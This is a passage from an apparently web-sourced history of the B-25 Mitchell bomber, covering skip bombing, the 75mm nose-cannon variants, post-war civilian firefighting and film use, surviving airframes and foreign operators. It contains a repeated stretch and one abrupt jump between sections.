ordinary desk type commander and had some fairly original ideas on how the enemy should be thrown out of the south pacific. pre - war doctrine on shipping strikes dictated bombing from medium or high altitude. that is at least 10. 000ft / 3300m up in the air. kenney and gunn found that from such heights hitting anything with free - falling bombs was anything but easy, especially when faced with intense anti - aircraft fire. what they came up with instead was skip bombing. coming in at very low level riddling the enemy ship with all eight forward machine guns, a time - delayed bomb was dropped at a preset distance from the target. the bomb would skip across the sea and explode in the ship after the mitchell had pulled up and flown away. albeit very dangerous, this proved to be a devastatingly effective attack. naa considered a few increases in firepower themselves, the biggest and most fearsome - looking was the m - 4 75mm nose cannon.


had pulled up and flown away. albeit very dangerous, this proved to be a devastatingly effective attack. naa considered a few increases in firepower themselves, the biggest and most fearsome - looking was the m - 4 75mm nose cannon. the m - 4 was a standard army issue 75mm originally developed in france during world war i. inside the extensively modified aircraft nose, a moving cradle and a spring mechanism was fitted to absorb the recoil. an armoured rack with 21 shells for the cannon was also fitted. the only aircraft to have a bigger gun than the b - 25g mitchell was the contemporary experimental italian piaggio p. 108a and the post - war lockheed ac - 130 spectre gunship, both with 105mm guns. the rest of the g - variant armament was generally similar to the c / d variant ; gun turrets on top and bottom and no guns in the tail. in the middle of the b - 25g production run, the bottom turret was deleted and never appeared on the mitchell again. the impressive appearance of the g - variant only looked good on paper though. in the field the manually loaded 75mm cannon was found to be lacking with regard to aiming and rate of fire. a pair of 0. 50in / 12. 7mm guns in the nose were supposed to help the pilot in aiming and ranging the 75mm gun. because of the differences in trajectory from the big shells, the guns proved useless for both aiming and ranging. as a result of this and the ever dwindling number of targets for the big gun, it was rarely used. by now the b - 25 had firmly entrenched itself as the low level attack aircraft of choice from the south pacific to the mediterranean theater. the h variant was largely similar to the g except for the usual nose armament experiments. a lighter 75mm gun was fitted to the nose and the two 0. 50in / 12. 7mm machine guns got the company of two more. an additional two machine guns were mounted on the fuselage starboard ( later two more on the port ) side. the top turret was moved forward to counter the bigger and more comfortable tail turret. both turrets had dual machine guns. the mitchell were now armed with fourteen 0. 50in / 12. 7mm machine guns, one 75mm cannon, hvar rockets, 3200 pounds of bombs or a torpedo and 5600 rounds of caliber 50. an impressive array of firepower indeed. a controversial change on the h variant was the removal of the co - pilot. leading figures in


the us air national guard as support for f - 89 scorpion and f - 94 starfire fighter intercept squadrons. others were utilized as weather reconnaissance and personnel transports. a few mitchells were used in the korean war as electronic warfare aircraft. being the most prolific surviving warbird, the mitchell have also seen extensive civilian use. a large number of surplus mitchells were bought as executive transports, of course with both the exterior and interior getting a thorough redecoration. another use for the mitchell was in the field of civilian firefighting. the us forest service bought a considerable number of surplus mitchells, installed huge water tanks in the main fuselage and sent them out to waterbomb forest fires. firefighter mitchells can be seen in the 1992 mel gibson / jamie lee curtis movie forever young. in the movie catch - 22, a big number of mitchells can be seen in various flying scenes. the movie and book main character yossarian is a pilot on a b - 25. finally, early cinerama film work used a converted b - 25 as a camera platform for hollywood aerial shoots. out of the about 150 surviving mitchells, around 40 are still airworthy today. among them are barbie iii, yellow rose, heavenly body, miss mitchell, panchito and killer b. the next time you are at an air show, look out for one of these warbirds usually refitted by chino, california company aero traders. the b - 25 in other air forces the b - 25 mitchell flew with many different air forces during and after world war ii : - dutch air force until 1951 - royal australian air force. until 1945. - royal canadian air force. mostly post - war use until 1960. - soviet air force. 870 delivered. got the nato reporting name bank after the war. - nationalist china air force in china, later taiwan. over 100 delivered. - french air force. 21 delivered. scrapped in 1947. - brazil. 92 delivered. used until 1970. - royal air force, uk. 910 delivered. - bolivia. 13 delivered. used at least until 1979. - chile. twelve delivered. replaced in 1954. - colombia. three delivered. used until 1957. - cuba. four delivered. used until 1959 at least. - mexico. three delivered. used until the 1960 ' s. - peru. 20 delivered in 1947. used until the 1960 ' s. - uruguay. 14 delivered. - venezuela. 39 delivered. replaced in 1971. a total of 9884 b - 25 mitchells were built by north